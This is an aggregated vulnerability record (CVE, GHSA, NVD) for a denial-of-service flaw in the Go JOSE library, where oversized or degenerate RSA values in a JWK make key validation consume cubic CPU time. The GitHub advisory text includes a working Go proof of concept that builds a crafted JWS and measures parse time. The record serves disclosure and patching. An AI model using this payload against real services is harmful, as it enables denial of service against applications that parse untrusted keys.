{"id":"CVE-2026-116587","aliases":["CVE-2026-116587","GHSA-mgcc-cww5-fp2q"],"related":[],"kind":"vulnerability","state":"published","title":"Go JOSE: DoS when parsing JWKs that contain RSA keys","summary":"Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.\n\n### Details\n\ngo-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.\n\nhttps://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700\n\n### Proof of concept\n\nNo special configuration of go-jose is required to reproduce this vulnerability.\n\n```go\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/go-jose/go-jose/v4\"\n)\n\nfunc main() {\n\t// The RSA parameters can be complete junk. The CPU cost is in validating them.\n\tprimeBits := 16384\n\tp := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))\n\tp.SetBit(p, 0, 1)\n\tn := new(big.Int).Lsh(big.NewInt(1), 2048)\n\te := big.NewInt(65537)\n\td := big.NewInt(3)\n\tq := big.NewInt(3)\n\n\tjwk := map[string]string{\n\t\t\"kty\": \"RSA\",\n\t\t\"n\":   base64.RawURLEncoding.EncodeToString(n.Bytes()),\n\t\t\"e\":   base64.RawURLEncoding.EncodeToString(e.Bytes()),\n\t\t\"d\":   base64.RawURLEncoding.EncodeToString(d.Bytes()),\n\t\t\"p\":   base64.RawURLEncoding.EncodeToString(p.Bytes()),\n\t\t\"q\":   base64.RawURLEncoding.EncodeToString(q.Bytes()),\n\t}\n\n\tprotected := map[string]any{\n\t\t\"alg\": \"RS256\",\n\t\t\"jwk\": jwk,\n\t}\n\tprotJSON, _ := json.Marshal(protected)\n\n\tjws := map[string]string{\n\t\t\"protected\": base64.RawURLEncoding.EncodeToString(protJSON),\n\t\t\"payload\":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),\n\t\t\"signature\": base64.RawURLEncoding.EncodeToString([]byte(\"not-a-real-signature\")),\n\t}\n\tjwsJSON, _ := json.Marshal(jws)\n\n\tstart := time.Now()\n\t_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})\n\telapsed := time.Since(start)\n\n\tfmt.Printf(\"prime bits: %d\\n\", primeBits)\n\tfmt.Printf(\"parse time: %s\\n\", elapsed)\n\tfmt.Printf(\"parse error: %v\\n\", err)\n}\n```\n\n### Impact\n\nDenial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.\n\n### Credits\n\nReported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)","format":"markdown","source":"ghsa"}],"published":"2026-10-26T21:12:21.326Z","modified":"2026-10-27T19:15:23.147Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-407","CWE-770"],"affected":[{"ranges":[{"version":"< 4.1.6","status":"affected"}],"vendor":"go-jose","product":"go-jose","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"4.1.6"}],"ecosystem":"Go","package":"github.com/go-jose/go-jose/v4","purl":"pkg:golang/github.com/go-jose/go-jose/v4","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"3.0.5"}],"ecosystem":"Go","package":"github.com/go-jose/go-jose/v3","purl":"pkg:golang/github.com/go-jose/go-jose/v3","source":"ghsa"}],"references":[{"url":"https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/go-jose/go-jose/releases/tag/v4.1.6","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116587","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/go-jose/go-jose","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-10-27T13:45:58.881Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-116587","url":"https://www.cve.org/CVERecord?id=CVE-2026-116587","licence":"CVE Terms of Use","modified":"2026-10-27T14:17:50.939Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mgcc-cww5-fp2q","url":"https://github.com/advisories/GHSA-mgcc-cww5-fp2q","licence":"CC-BY-4.0","modified":"2026-10-27T19:15:23.147Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-116587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116587","licence":"Public domain","modified":"2026-10-27T15:16:40.990Z"}],"updatedAt":"2026-11-25T22:59:47.296Z","epss":{"score":0.00637,"percentile":0.5186,"date":"2026-12-01T12:00:22.000Z"}}